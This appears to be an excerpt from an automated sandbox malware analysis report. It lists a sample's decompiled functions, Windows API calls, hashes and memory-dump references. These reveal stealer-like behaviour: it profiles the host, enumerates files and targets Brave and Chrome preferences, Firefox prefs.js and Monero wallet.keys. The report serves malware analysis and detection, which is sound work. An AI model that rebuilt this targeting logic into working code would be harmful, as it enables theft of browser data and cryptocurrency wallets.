Instruction ID: 37f3616787a6579acff57b788ffcb55a996646b960c0fb7545956d99e3d7bc90
Opcode Fuzzy Hash: 0bda4d3391a7298d9c6b5aae8fc5a44677b409c2c23d52ece3dba9f421c9a7a1
Instruction Fuzzy Hash: 08E086B0985348FBE7106BE4DC0AB4976B8EB04B01F105159F7087A5D0C6B526409699

Function 004710A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 004710B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 004710F7

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 234cb2fb83887244116228abd73772ab23810611198253ef0b7c210e2134ba1f
Instruction ID: 601ae1a75bd9ff07285524ae3a99363c0ed73c1fb009980da8fb2b73a27519d3
Opcode Fuzzy Hash: 234cb2fb83887244116228abd73772ab23810611198253ef0b7c210e2134ba1f
Instruction Fuzzy Hash: 6FF0E2B1641308BBE7149AA8AC49FEFB7ECE705B15F305949F504E3390D5719E40CAA4

Function 00471190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00487910
Part of subcall function 004878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00487917
Part of subcall function 004878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0048792F

Part of subcall function 00487850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004711B7), ref: 00487880
Part of subcall function 00487850: RtlAllocateHeap.NTDLL(00000000), ref: 00487887
Part of subcall function 00487850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0048789F

ExitProcess.KERNEL32 ref: 004711C6

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: fab9f6f789476cea87074006073f7014a630dfbf51f1807756438354170e602c
Instruction ID: 285ff7bc2985056bd95474738ec64c5b1d3d6dc00fe7b8830795fb8d10fc7d02
Opcode Fuzzy Hash: fab9f6f789476cea87074006073f7014a630dfbf51f1807756438354170e602c
Instruction Fuzzy Hash: 5EE086F591420153CB0037F66C06B2E324C5704349F44192EF50882252FD1DE400876D

Non-executed Functions

Function 004838B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004838CC
FindFirstFileA.KERNEL32(?,?), ref: 004838E3
lstrcat.KERNEL32(?,?), ref: 00483935
StrCmpCA.SHLWAPI(?,00490F70), ref: 00483947
StrCmpCA.SHLWAPI(?,00490F74), ref: 0048395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00483C67
FindClose.KERNEL32(000000FF), ref: 00483C7C

Strings

%s\%s\%s, xrefs: 00483A4A
%s%s, xrefs: 00483AAD
%s\%s, xrefs: 00483A6F
%s\*, xrefs: 004838C0
%s\%s, xrefs: 0048397A

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 965db8b32ac0eec2762e3a7aa9b12b5dd468fa55fdc2691442a4b5dadc12a887
Instruction ID: b39f13ef8626c6bc5478f10727f4eb11f41dae2d4786befab467f5ea60ea3518
Opcode Fuzzy Hash: 965db8b32ac0eec2762e3a7aa9b12b5dd468fa55fdc2691442a4b5dadc12a887
Instruction Fuzzy Hash: 51A152B2A00208ABDB24EFA4DC85FEE7379BF44701F04499DE50D96141EB799B84CF66

Function 0047BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

FindFirstFileA.KERNEL32(00000000,?,00490B32,00490B2B,00000000,?,?,?,004913F4,00490B2A), ref: 0047BEF5
StrCmpCA.SHLWAPI(?,004913F8), ref: 0047BF4D
StrCmpCA.SHLWAPI(?,004913FC), ref: 0047BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0047C7BF
FindClose.KERNEL32(000000FF), ref: 0047C7D1

Strings

Brave, xrefs: 0047C102
Google Chrome, xrefs: 0047C634
Preferences, xrefs: 0047C11E
\Brave\Preferences, xrefs: 0047C1DB

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: cca383e97c41c12472603594c849d3100c12a130babcc937aac4f72bddaa4aec
Instruction ID: 642f45e235a3cea499554499a0034f459c3c041ffa36d000783fb0c0b17accd9
Opcode Fuzzy Hash: cca383e97c41c12472603594c849d3100c12a130babcc937aac4f72bddaa4aec
Instruction Fuzzy Hash: E24285729001046BDB14FB61DC96EED733DAB44304F40896FF50A92191EE7CAB59CBAA

Function 00484910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0048492C
FindFirstFileA.KERNEL32(?,?), ref: 00484943
StrCmpCA.SHLWAPI(?,00490FDC), ref: 00484971
StrCmpCA.SHLWAPI(?,00490FE0), ref: 00484987
FindNextFileA.KERNEL32(000000FF,?), ref: 00484B7D
FindClose.KERNEL32(000000FF), ref: 00484B92

Strings

%s\%s, xrefs: 004849A4
%s\%s, xrefs: 004849FB
%s\*, xrefs: 00484920

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2fb591ecdc8a160adffc29cc2f45301d844a8442d62517231859a13232f3eb95
Instruction ID: b4a1857187b49745dde974c516fbce93845badbe02a8502d06a27e44099a2b5f
Opcode Fuzzy Hash: 2fb591ecdc8a160adffc29cc2f45301d844a8442d62517231859a13232f3eb95
Instruction Fuzzy Hash: 486154F2900219ABCB24EBE0DC45FEE777DBB48700F00869DE50996141EB79AB85CF95

Function 00484570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00484580
RtlAllocateHeap.NTDLL(00000000), ref: 00484587
wsprintfA.USER32 ref: 004845A6
FindFirstFileA.KERNEL32(?,?), ref: 004845BD
StrCmpCA.SHLWAPI(?,00490FC4), ref: 004845EB
StrCmpCA.SHLWAPI(?,00490FC8), ref: 00484601
FindNextFileA.KERNEL32(000000FF,?), ref: 0048468B
FindClose.KERNEL32(000000FF), ref: 004846A0
lstrcat.KERNEL32(?,0123E758), ref: 004846C5
lstrcat.KERNEL32(?,0123D620), ref: 004846D8
lstrlen.KERNEL32(?), ref: 004846E5
lstrlen.KERNEL32(?), ref: 004846F6

Strings

%s\%s, xrefs: 0048461B
%s\*, xrefs: 0048459A

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 6180af35ddef25957413058d136974c448de13189ba925ba31cc294ada97d09c
Instruction ID: 0b2f2967e3ff3bf4a77c855449ce0ac1d60f22c74338e47a54f76d66a283aef2
Opcode Fuzzy Hash: 6180af35ddef25957413058d136974c448de13189ba925ba31cc294ada97d09c
Instruction Fuzzy Hash: F35156B5900218ABCB24FBB0DC89FED737DAB54300F405A99F60992150EF789B848F96

Function 00483EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00483EC3
FindFirstFileA.KERNEL32(?,?), ref: 00483EDA
StrCmpCA.SHLWAPI(?,00490FAC), ref: 00483F08
StrCmpCA.SHLWAPI(?,00490FB0), ref: 00483F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0048406C
FindClose.KERNEL32(000000FF), ref: 00484081

Strings

%s\%s, xrefs: 00483EB7

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 280667c0786b7deb9b2ecf2dcf0bc6e7c9f4d52259960734cfbcc9f69d1ccdc1
Instruction ID: 81c2ba857cd64038bc1e4317fc0d0179afeeb61f1a1f50851f971a46365bc6c2
Opcode Fuzzy Hash: 280667c0786b7deb9b2ecf2dcf0bc6e7c9f4d52259960734cfbcc9f69d1ccdc1
Instruction Fuzzy Hash: EA5185F2900218ABCB24FBB0DC85EEE737DBB44704F404A9DB61992040EB79DB858F95

Function 0047ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0047ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0047ED55
StrCmpCA.SHLWAPI(?,00491538), ref: 0047EDAB
StrCmpCA.SHLWAPI(?,0049153C), ref: 0047EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0047F2AE
FindClose.KERNEL32(000000FF), ref: 0047F2C3

Strings

%s\*.*, xrefs: 0047ED32

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 8bbe537c1b444f44a605fb5f18309e319b80fe4784569c3a47a9b321c5f90439
Instruction ID: f3d0555e607baa478acdbb44acbc873ffda618b921fbbccb2609d0a85d104af9
Opcode Fuzzy Hash: 8bbe537c1b444f44a605fb5f18309e319b80fe4784569c3a47a9b321c5f90439
Instruction Fuzzy Hash: A8E1F2719111189AEB54FB61CC51EEE7338AF54304F4049EFB40A62052EE7C6F9ACF6A

Function 0047F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004915B8,00490D96), ref: 0047F71E
StrCmpCA.SHLWAPI(?,004915BC), ref: 0047F76F
StrCmpCA.SHLWAPI(?,004915C0), ref: 0047F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0047FAB1
FindClose.KERNEL32(000000FF), ref: 0047FAC3

Strings

prefs.js, xrefs: 0047F812

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: f43c6643f9a686d5f0df614a04037eaaa1875e4fa6bf79f8f532805cc8b9649f
Instruction ID: b9e227305d7ec12db72660e25e8e78cce7e808b5da569ef58bdf94472b2d9d7f
Opcode Fuzzy Hash: f43c6643f9a686d5f0df614a04037eaaa1875e4fa6bf79f8f532805cc8b9649f
Instruction Fuzzy Hash: E9B184719001049BDB24FF61DC91BEE7379AF54304F0089AFE40A96151EF7CAB59CBAA

Function 004716D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0049510C,?,?,?,004951B4,?,?,00000000,?,00000000), ref: 00471923
StrCmpCA.SHLWAPI(?,0049525C), ref: 00471973
StrCmpCA.SHLWAPI(?,00495304), ref: 00471989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00471D40
DeleteFileA.KERNEL32(00000000), ref: 00471DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00471E20
FindClose.KERNEL32(000000FF), ref: 00471E32

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Strings

\*.*, xrefs: 004717F1

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
